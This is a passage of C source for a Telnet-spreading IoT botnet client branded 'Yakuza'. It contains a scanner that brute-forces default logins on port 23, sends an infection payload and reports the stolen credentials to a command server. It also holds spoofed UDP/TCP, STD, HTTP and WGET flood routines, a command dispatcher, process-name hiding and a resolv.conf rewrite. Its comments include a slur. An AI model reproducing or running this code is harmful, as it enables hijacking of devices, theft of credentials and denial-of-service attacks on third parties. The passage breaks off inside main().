  658.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  659.         return tmp ^ ( rand_cmwc() & ~netmask);
  660. }
  661. unsigned short csum (unsigned short *buf, int count) {
  662.         register uint64_t sum = 0;
  663.         while( count > 1 ) { sum += *buf++; count -= 2; }
  664.         if(count > 0) { sum += *(unsigned char *)buf; }
  665.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  666.         return (uint16_t)(~sum);
  667. }
  668. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  669.         struct tcp_pseudo {
  670.                 unsigned long src_addr;
  671.                 unsigned long dst_addr;
  672.                 unsigned char zero;
  673.                 unsigned char proto;
  674.                 unsigned short length;
  675.         } pseudohead;
  676.         unsigned short total_len = iph->tot_len;
  677.         pseudohead.src_addr=iph->saddr;
  678.         pseudohead.dst_addr=iph->daddr;
  679.         pseudohead.zero=0;
  680.         pseudohead.proto=IPPROTO_TCP;
  681.         pseudohead.length=htons(sizeof(struct tcphdr));
  682.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  683.         unsigned short *tcp = malloc(totaltcp_len);
  684.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  685.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  686.         unsigned short output = csum(tcp,totaltcp_len);
  687.         free(tcp);
  688.         return output;
  689. }
  690. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  691.         iph->ihl = 5;
  692.         iph->version = 4;
  693.         iph->tos = 0;
  694.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  695.         iph->id = rand_cmwc();
  696.         iph->frag_off = 0;
  697.         iph->ttl = MAXTTL;
  698.         iph->protocol = protocol;
  699.         iph->check = 0;
  700.         iph->saddr = source;
  701.         iph->daddr = dest;
  702. }
  703. int sclose(int fd) {
  704.         if(3 > fd) return 1;
  705.         close(fd);
  706.         return 0;
  707. }
  708.  
  709. void TelnetScanner(int wait_usec, int maxfds)
  710. {
  711.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  712.         char buf[128], cur_dir;
  713.         if (max > maxfds)
  714.                 max = maxfds;
  715.         fd_set fdset;
  716.         struct timeval tv;
  717.         socklen_t lon;
  718.         int valopt;
  719.         char line[256];
  720.         char* buffer;
  721.         struct sockaddr_in dest_addr;
  722.         dest_addr.sin_family = AF_INET;
  723.         dest_addr.sin_port = htons(23);
  724.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  725.         buffer = malloc(SOCKBUF_SIZE + 1);
  726.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  727.         struct telstate_t fds[max];
  728.         memset(fds, 0, max * (sizeof(int) + 1));
  729.         for(i = 0; i < max; i++) {
  730.                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  731.                 fds[i].complete = 1;
  732.                 fds[i].sockbuf = buffer;
  733.         }
  734.         while(1) {
  735.                 for(i = 0; i < max; i++) {
  736.                         if(fds[i].tTimeout == 0) {
  737.                                 fds[i].tTimeout = time(NULL);
  738.                         }
  739.                         switch(fds[i].state) {
  740.             case 0:
  741.                 {
  742.                     if(fds[i].complete == 1)
  743.                     {
  744.                                    
  745.                         char *tmp = fds[i].sockbuf;
  746.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  747.                         fds[i].sockbuf = tmp;
  748.                                    
  749.                                    
  750.                         fds[i].ip = TelnetIPRanges();
  751.                     }
  752.                     else if(fds[i].complete == 0)
  753.                     {
  754.                         fds[i].usernameInd++;
  755.                         fds[i].passwordInd++;
  756.                                    
  757.                         if(fds[i].passwordInd == sizeof(tel_passwords) / sizeof(char *))
  758.                         {
  759.                             fds[i].complete = 1;
  760.                         }
  761.                         if(fds[i].usernameInd == sizeof(tel_usernames) / sizeof(char *))
  762.                         {
  763.                             fds[i].complete = 1;
  764.                             continue;
  765.                         }
  766.                     }
  767.                     dest_addr.sin_family = AF_INET;
  768.                     dest_addr.sin_port = htons(23);
  769.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  770.                            
  771.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  772.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  773.                     if(fds[i].fd == -1) continue;
  774.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  775.                                
  776.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  777.                     {
  778.                         reset_telstate(&fds[i]);
  779.                     }
  780.                     else
  781.                     {
  782.                         advance_telstate(&fds[i], 1);
  783.                     }
  784.                 }
  785.                 break;
  786.             case 1:
  787.                 {
  788.                     FD_ZERO(&fdset);
  789.                     FD_SET(fds[i].fd, &fdset);
  790.                     tv.tv_sec = 0;
  791.                     tv.tv_usec = wait_usec;
  792.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  793.                     if(res == 1)
  794.                     {
  795.                         fds[i].tTimeout = time(NULL);
  796.                         lon = sizeof(int);
  797.                         valopt = 0;
  798.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  799.                         if(valopt)
  800.                         {
  801.                             reset_telstate(&fds[i]);
  802.                         }
  803.                         else
  804.                         {
  805.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  806.                             advance_telstate(&fds[i], 2);
  807.                         }
  808.                         continue;
  809.                     }
  810.                     else if(res == -1)
  811.                     {
  812.                         reset_telstate(&fds[i]);
  813.                         continue;
  814.                     }
  815.                     if(fds[i].tTimeout + 7 < time(NULL))
  816.                     {
  817.                         reset_telstate(&fds[i]);
  818.                     }
  819.                 }
  820.                 break;
  821.             case 2:
  822.                 {
  823.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  824.                     {
  825.                         fds[i].tTimeout = time(NULL);
  826.                         if(contains_fail(fds[i].sockbuf))
  827.                         {
  828.                             advance_telstate(&fds[i], 0);
  829.                         }
  830.                         else
  831.                         {
  832.                             advance_telstate(&fds[i], 3);
  833.                         }
  834.                         continue;
  835.                     }
  836.                     if(fds[i].tTimeout + 7 < time(NULL))
  837.                     {
  838.                         reset_telstate(&fds[i]);
  839.                     }
  840.                 }
  841.                 break;
  842.             case 3:
  843.                 {
  844.                     if(send(fds[i].fd, tel_usernames[fds[i].usernameInd], strlen(tel_usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  845.                     {
  846.                         reset_telstate(&fds[i]);
  847.                         continue;
  848.                     }
  849.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  850.                     {
  851.                         reset_telstate(&fds[i]);
  852.                         continue;
  853.                     }
  854.                     advance_telstate(&fds[i], 4);
  855.                 }
  856.                 break;
  857.             case 4:
  858.                 {
  859.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  860.                     {
  861.                         fds[i].tTimeout = time(NULL);
  862.                         if(contains_fail(fds[i].sockbuf))
  863.                         {
  864.                             advance_telstate(&fds[i], 0);
  865.                         }
  866.                         else
  867.                         {
  868.                             advance_telstate(&fds[i], 5);
  869.                         }
  870.                         continue;
  871.                     }
  872.                     if(fds[i].tTimeout + 7 < time(NULL))
  873.                     {
  874.                         reset_telstate(&fds[i]);
  875.                     }
  876.                 }
  877.                 break;                             
  878.             case 5:
  879.                 {
  880.                     if(send(fds[i].fd, tel_passwords[fds[i].passwordInd], strlen(tel_passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  881.                     {
  882.                         reset_telstate(&fds[i]);
  883.                         continue;
  884.                     }
  885.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  886.                     {
  887.                         reset_telstate(&fds[i]);
  888.                         continue;
  889.                     }
  890.                     advance_telstate(&fds[i], 6);
  891.                 }
  892.                 break;                                 
  893.             case 6:
  894.                 {
  895.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2)) //waiting for response.
  896.                     {
  897.                         fds[i].tTimeout = time(NULL);
  898.                         if(contains_fail(fds[i].sockbuf))
  899.                         {
  900.                             advance_telstate(&fds[i], 0);
  901.                         }
  902.                         else if(contains_success(fds[i].sockbuf))
  903.                         {
  904.                             if(fds[i].complete == 2)
  905.                             {
  906.                                 advance_telstate(&fds[i], 7);
  907.                             }
  908.                             else
  909.                             {
  910.                                 sockprintf(mainCommSock, "[ Yakuza ] Result || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);
  911.                                 advance_telstate(&fds[i], 7);
  912.                             }
  913.                         }
  914.                         else
  915.                         {
  916.                             reset_telstate(&fds[i]);
  917.                         }
  918.                         continue;
  919.                     }
  920.                     if(fds[i].tTimeout + 7 < time(NULL))
  921.                     {
  922.                         reset_telstate(&fds[i]);
  923.                     }
  924.                 }
  925.                 break;
  926.             case 7:
  927.                 {
  928.                
  929.                 advance_telstate(&fds[i], 8);
  930.                 }
  931.                 break;
  932.             case 8:
  933.             {      
  934.                
  935.                         fds[i].tTimeout = time(NULL);
  936.                        
  937.                         if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0);
  938.                         if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  939.                        
  940.                         if(send(fds[i].fd, payload, strlen(payload), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  941.                         sockprintf(mainCommSock, "[ Yakuza ] Infecting || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);
  942.                        
  943.                         //int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  944.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "connected"))
  945.                         {   // if you removed my credits then fuck you. hail scarface.
  946.                             //char  strcasestr (const char *big, const char *little)
  947.                             if(strcasestr(fds[i].sockbuf, "LINKED") && fds[i].complete != 3)
  948.                             {
  949.                                 sockprintf(mainCommSock, "[ Yakuza ] Infection Success. || IP: %s: || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);
  950.                             }
  951.                         }
  952.                         if(fds[i].tTimeout + 45 < time(NULL))
  953.                         {  
  954.                             if(fds[i].complete!=3)
  955.                             {
  956.                                 sockprintf(mainCommSock, "[ Yakuza ] Failed || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);
  957.                             }
  958.                             reset_telstate(&fds[i]);
  959.                         }
  960.                 break;
  961.                 }
  962.             }
  963.         }
  964.     }              
  965. }
  966. void SendSTD(unsigned char *ip, int port, int secs) {
  967.     int iSTD_Sock;
  968.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  969.     time_t start = time(NULL);
  970.     struct sockaddr_in sin;
  971.     struct hostent *hp;
  972.     hp = gethostbyname(ip);
  973.     bzero((char*) &sin,sizeof(sin));
  974.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  975.     sin.sin_family = hp->h_addrtype;
  976.     sin.sin_port = port;
  977.     unsigned int a = 0;
  978.     while(1){
  979.         if (a >= 50) {
  980.             send(iSTD_Sock, "d4mQasDSH6",  65, 0);
  981.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  982.             if (time(NULL) >= start + secs) {
  983.                 close(iSTD_Sock);
  984.                 _exit(0);
  985.             }
  986.             a = 0;
  987.         }
  988.         a++;
  989.     }
  990. }
  991. void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  992.         struct sockaddr_in dest_addr;
  993.         dest_addr.sin_family = AF_INET;
  994.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  995.         else dest_addr.sin_port = htons(port);
  996.         if(getHost(target, &dest_addr.sin_addr)) return;
  997.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  998.         register unsigned int pollRegister;
  999.         pollRegister = pollinterval;   
  1000.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1001.                 if(!sockfd) {
  1002.                         return;
  1003.                 }
  1004.                 int tmp = 1;
  1005.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1006.                         return;
  1007.                 }
  1008.                 int counter = 50;
  1009.                 while(counter--) {
  1010.                         srand(time(NULL) ^ rand_cmwc());
  1011.                         init_rand(rand());
  1012.                 }
  1013.                 in_addr_t netmask;
  1014.                 netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1015.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1016.                 struct iphdr *iph = (struct iphdr *)packet;
  1017.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1018.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1019.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1020.                 udph->source = rand_cmwc();
  1021.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1022.                 udph->check = 0;
  1023.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1024.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1025.                 int end = time(NULL) + timeEnd;
  1026.                 register unsigned int i = 0;
  1027.                 while(1) {
  1028.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1029.                         udph->source = rand_cmwc();
  1030.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1031.                         iph->id = rand_cmwc();
  1032.                         iph->saddr = htonl( getRandomIP(netmask) );
  1033.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1034.                         if(i == pollRegister) {
  1035.                                 if(time(NULL) > end) break;
  1036.                                 i = 0;
  1037.                                 continue;
  1038.                         }
  1039.                         i++;
  1040.                 }
  1041.         }
  1042. void SendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  1043.         register unsigned int pollRegister;
  1044.         pollRegister = pollinterval;
  1045.         struct sockaddr_in dest_addr;
  1046.         dest_addr.sin_family = AF_INET;
  1047.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1048.         else dest_addr.sin_port = htons(port);
  1049.         if(getHost(target, &dest_addr.sin_addr)) return;
  1050.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1051.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1052.         if(!sockfd) { return; }
  1053.         int tmp = 1;
  1054.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  1055.         in_addr_t netmask;
  1056.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1057.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1058.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1059.         struct iphdr *iph = (struct iphdr *)packet;
  1060.         // in case a fag removes my credits. me is scarface.
  1061.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1062.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1063.         tcph->source = rand_cmwc();
  1064.         tcph->seq = rand_cmwc();
  1065.         tcph->ack_seq = 0;
  1066.         tcph->doff = 5;
  1067.         if(!strcmp(flags, "ALL")) {
  1068.                 tcph->syn = 1;
  1069.                 tcph->rst = 1;
  1070.                 tcph->fin = 1;
  1071.                 tcph->ack = 1;
  1072.                 tcph->psh = 1;
  1073.         } else {
  1074.                 unsigned char *pch = strtok(flags, "-");
  1075.                 while(pch) {
  1076.                         if(!strcmp(pch,         "SYN")) { tcph->syn = 1;
  1077.                         } else if(!strcmp(pch,  "RST")) { tcph->rst = 1;
  1078.                         } else if(!strcmp(pch,  "FIN")) { tcph->fin = 1;
  1079.                         } else if(!strcmp(pch,  "ACK")) { tcph->ack = 1;
  1080.                         } else if(!strcmp(pch,  "PSH")) { tcph->psh = 1;
  1081.                         } else {
  1082.                         }
  1083.                         pch = strtok(NULL, ",");
  1084.                 }
  1085.         }
  1086.         tcph->window = rand_cmwc();
  1087.         tcph->check = 0;
  1088.         tcph->urg_ptr = 0;
  1089.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1090.         tcph->check = tcpcsum(iph, tcph);
  1091.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1092.         int end = time(NULL) + timeEnd;
  1093.         register unsigned int i = 0;
  1094.         while(1) {
  1095.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1096.                 iph->saddr = htonl( getRandomIP(netmask) );
  1097.                 iph->id = rand_cmwc();
  1098.                 tcph->seq = rand_cmwc();
  1099.                 tcph->source = rand_cmwc();
  1100.                 tcph->check = 0;
  1101.                 tcph->check = tcpcsum(iph, tcph);
  1102.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1103.                 if(i == pollRegister) {
  1104.                         if(time(NULL) > end) break;
  1105.                         i = 0;
  1106.                         continue;
  1107.                 }
  1108.                 i++;
  1109.         }
  1110. }
  1111. int socket_connect(char *host, in_port_t port) {
  1112.     struct hostent *hp;
  1113.     struct sockaddr_in addr;
  1114.     int on = 1, sock;    
  1115.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1116.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1117.     addr.sin_port = htons(port);
  1118.     addr.sin_family = AF_INET;
  1119.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1120.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1121.     if (sock == -1) return 0;
  1122.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1123.     return sock;
  1124. }
  1125.  
  1126. void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  1127.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1128.     char request[512], buffer[1];
  1129.     for (i = 0; i < power; i++) {
  1130.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, uagents[(rand() % 59)]);
  1131.         if (fork()) {
  1132.             while (end > time(NULL)) {
  1133.                 socket = socket_connect(host, port);
  1134.                 if (socket != 0) {
  1135.                     write(socket, request, strlen(request));
  1136.                     read(socket, buffer, 1);
  1137.                     close(socket);
  1138.                 }
  1139.             }
  1140.             exit(0);
  1141.         }
  1142.     }
  1143. }
  1144.  
  1145. void SendWGET(unsigned char *url, int end_time)
  1146. {
  1147.     int end = time(NULL) + end_time;
  1148.     FILE *pf;
  1149.     char command[80];
  1150.     sprintf(command, "wget --no-check-certificate -q -O /tmp/null ");
  1151.     strcat(command, url);
  1152.    
  1153.     pf = popen(command,"r");
  1154.    
  1155.     while(end > time(NULL))
  1156.     {
  1157.         system(command);
  1158.     }
  1159.    
  1160. }
  1161.  
  1162.  
  1163. void processCmd(int argc, unsigned char *argv[]) {
  1164.         if(!strcmp(argv[0], "ICMP"))
  1165.         {
  1166.                 return;
  1167.         }
  1168.         if(!strcmp(argv[0], "TELNET"))
  1169.         {
  1170.             if(!strcmp(argv[1], "ON"))
  1171.             {
  1172.                
  1173.                 uint32_t parent;
  1174.                 parent = fork();        
  1175.                 int ii = 0;
  1176.                 int forks = sysconf( _SC_NPROCESSORS_ONLN );
  1177.                 int fds = 999999;
  1178.                 if(forks == 1) fds = 500;
  1179.                 if(forks >= 2) fds = 1000;
  1180.                 if (parent > 0)
  1181.                 {
  1182.                     scanPid = parent;
  1183.                     return;
  1184.                 }
  1185.                 else if(parent == -1) return;
  1186.    
  1187.                 for (ii = 0; ii < forks; ii++)
  1188.                 {
  1189.                     srand((time(NULL) ^ getpid()) + getppid());
  1190.                     init_rand(time(NULL) ^ getpid());
  1191.                     TelnetScanner(100, fds);
  1192.                     _exit(0);
  1193.                 }
  1194.             }
  1195.             if(!strcmp(argv[1], "OFF"))
  1196.             {
  1197.                 if(scanPid == 0) return;
  1198.  
  1199.                 kill(scanPid, 9);
  1200.                 scanPid = 0;
  1201.             }
  1202.             if(!strcmp(argv[1], "FLOAD"))
  1203.             {
  1204.                 int threads = atoi(argv[1]);
  1205.                 int usec = atoi(argv[2]);
  1206.                 if(!listFork())
  1207.                 {
  1208.                     sockprintf(mainCommSock, "FLoad Mode Activated");
  1209.                     TelnetScanner(usec, threads);
  1210.                     _exit(0);
  1211.                 }
  1212.                 return;
  1213.             }
  1214.         }
  1215.            
  1216.         if (!strcmp(argv[0], "HTTP"))
  1217.         {
  1218.             // !* HTTP METHOD TARGET PORT PATH TIME POWER
  1219.             if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1220.             if (listFork()) return;
  1221.             SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1222.             exit(0);
  1223.         }
  1224.        
  1225.         if(!strcmp(argv[0], "WGET"))
  1226.         {
  1227.         if(argc < 3 || atoi(argv[2]) < 1)
  1228.         {
  1229.             return;
  1230.         }
  1231.  
  1232.         unsigned char *ip = argv[1];
  1233.         int time = atoi(argv[2]);
  1234.  
  1235.         if(strstr(ip, ",") != NULL)
  1236.         {
  1237.             unsigned char *hi = strtok(ip, ",");
  1238.             while(hi != NULL)
  1239.             {
  1240.                 if(!listFork())
  1241.                 {
  1242.                     int i = 0;
  1243.                     while(i < 10){
  1244.                         SendWGET(ip, time);
  1245.                         i++;
  1246.                     }
  1247.                     close(mainCommSock);
  1248.                     _exit(0);
  1249.                 }
  1250.                 hi = strtok(NULL, ",");
  1251.             }
  1252.         } else {
  1253.             if (listFork()) { return; }
  1254.             int i = 0;
  1255.             while(i < 10){
  1256.                 SendWGET(ip, time);
  1257.                 i++;
  1258.             }
  1259.             close(mainCommSock);
  1260.  
  1261.             _exit(0);
  1262.         }
  1263.     }
  1264.         if(!strcmp(argv[0], "UDP"))
  1265.         {
  1266.             // !* UDP TARGET PORT TIME PACKETSIZE POLLINTERVAL
  1267.             if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))
  1268.             {
  1269.                 return;
  1270.             }
  1271.                 unsigned char *ip = argv[1];
  1272.                 int port = atoi(argv[2]);
  1273.                 int time = atoi(argv[3]);
  1274.                 int packetsize = atoi(argv[4]);
  1275.                 int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  1276.                 int spoofed = 32;
  1277.                 if(strstr(ip, ",") != NULL)
  1278.                 {
  1279.                     unsigned char *hi = strtok(ip, ",");
  1280.                     while(hi != NULL)
  1281.                     {
  1282.                         if(!listFork())
  1283.                         {
  1284.                             SendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  1285.                             _exit(0);
  1286.                         }
  1287.                         hi = strtok(NULL, ",");
  1288.                     }
  1289.                 } else {
  1290.                             if (listFork())
  1291.                             {
  1292.                                 return;
  1293.                             }
  1294.                             SendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  1295.                             _exit(0);
  1296.                        }   
  1297.         }
  1298.         if(!strcmp(argv[0], "TCP"))
  1299.         {
  1300.                 // !* TCP TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
  1301.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1))
  1302.                 {
  1303.                         return;
  1304.                 }
  1305.                 unsigned char *ip = argv[1];
  1306.                 int port = atoi(argv[2]);
  1307.                 int time = atoi(argv[3]);
  1308.                 unsigned char *flags = argv[4];
  1309.                 int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  1310.                 int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  1311.                 int spoofed = 32;
  1312.                 if(strstr(ip, ",") != NULL) {
  1313.                         unsigned char *hi = strtok(ip, ",");
  1314.                         while(hi != NULL) {
  1315.                                 if(!listFork()) {
  1316.                                         SendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  1317.                                         _exit(0);
  1318.                                 }
  1319.                                 hi = strtok(NULL, ",");
  1320.                         }
  1321.                 } else  {
  1322.                             if (listFork())
  1323.                             {
  1324.                                 return;
  1325.                             }
  1326.                             SendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  1327.                             _exit(0);
  1328.                         }
  1329.         }
  1330.         if(!strcmp(argv[0], "STD"))
  1331.         {
  1332.             // !* STD TARGET PORT TIME
  1333.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1334.             {
  1335.                 return;
  1336.             }
  1337.             unsigned char *ip = argv[1];
  1338.             int port = atoi(argv[2]);
  1339.             int time = atoi(argv[3]);
  1340.             if(strstr(ip, ",") != NULL)
  1341.             {
  1342.                 unsigned char *hi = strtok(ip, ",");
  1343.                 while(hi != NULL)
  1344.                 {
  1345.                     if(!listFork())
  1346.                     {
  1347.                         SendSTD(hi, port, time);
  1348.                         _exit(0);
  1349.                     }
  1350.                     hi = strtok(NULL, ",");
  1351.                 }
  1352.             } else {
  1353.                         if (listFork())
  1354.                         {
  1355.                             return;
  1356.                         }
  1357.                         SendSTD(ip, port, time);
  1358.                         _exit(0);
  1359.                    }
  1360.         }
  1361.         if(!strcmp(argv[0], "STOP"))
  1362.         {
  1363.                 int killed = 0;
  1364.                 unsigned long i;
  1365.                 for (i = 0; i < numpids; i++)
  1366.                 {
  1367.                         if (pids[i] != 0 && pids[i] != getpid())
  1368.                         {
  1369.                                 kill(pids[i], 9);
  1370.                                 killed++;
  1371.                         }
  1372.                 }
  1373.                 if(killed > 0)
  1374.                 {
  1375.                     //
  1376.                 } else {
  1377.                             //
  1378.                        }
  1379.         }
  1380. }
  1381. int initConnection() {
  1382.     unsigned char server[512];
  1383.     memset(server, 0, 512);
  1384.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  1385.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1386.     else currentServer++;
  1387.     strcpy(server, commServer[currentServer]);
  1388.     int port = 23;
  1389.     if(strchr(server, ':') != NULL) {
  1390.         port = atoi(strchr(server, ':') + 1);
  1391.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1392.     }
  1393.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1394.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1395.     return 0;
  1396. }
  1397. void UpdateNameSrvs() {
  1398.     uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);
  1399.     if (access("/etc/resolv.conf", F_OK) != -1) {
  1400.         const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";
  1401.         size_t resl = strlen(resd);
  1402.         write(fhandler, resd, resl);
  1403.     } else { return; }
  1404.     close(fhandler);
  1405. }
  1406. int getEndianness(void)
  1407. {
  1408.     union
  1409.     {
  1410.         uint32_t vlu;
  1411.         uint8_t data[sizeof(uint32_t)];
  1412.     } nmb;
  1413.     nmb.data[0] = 0x00;
  1414.     nmb.data[1] = 0x01;
  1415.     nmb.data[2] = 0x02;
  1416.     nmb.data[3] = 0x03;
  1417.     switch (nmb.vlu)
  1418.     {
  1419.         case UINT32_C(0x00010203):
  1420.             return "BIG_ENDIAN";
  1421.         case UINT32_C(0x03020100):
  1422.             return "LITTLE_ENDIAN";
  1423.         case UINT32_C(0x02030001):
  1424.             return "BIG_ENDIAN_W";
  1425.         case UINT32_C(0x01000302):
  1426.             return "LITTLE_ENDIAN_W";
  1427.         default:
  1428.             return "UNKNOWN";
  1429.     }
  1430. }
  1431. int main(int argc, unsigned char *argv[]) {
  1432.         const char *lolsuckmekid = "";
  1433.         if(SERVER_LIST_SIZE <= 0) return 0;
  1434.         strncpy(argv[0],"",strlen(argv[0]));
  1435.         argv[0] = "";
  1436.         prctl(PR_SET_NAME, (unsigned long) lolsuckmekid, 0, 0, 0);
  1437.         srand(time(NULL) ^ getpid());
  1438.         init_rand(time(NULL) ^ getpid());
  1439.         pid_t pid1;
  1440.         pid_t pid2;
  1441.         int status;
  1442.         if (pid1 = fork()) {
  1443.                         waitpid(pid1, &status, 0);
  1444.                         exit(0);
  1445.         } else if (!pid1) {
  1446.                         if (pid2 = fork()) {
  1447.                                         exit(0);
  1448.                         } else if (!pid2) {
  1449.                         } else {
  1450.                         }
  1451.         } else {
  1452.         }
  1453.         chdir("/");
  1454.         setuid(0);             
  1455.         seteuid(0);
  1456.         signal(SIGPIPE, SIG_IGN);
  1457.         while(1) {
  1458.                 if(fork() == 0) {
  1459.                 if(initConnection()) { sleep(5); continue; }
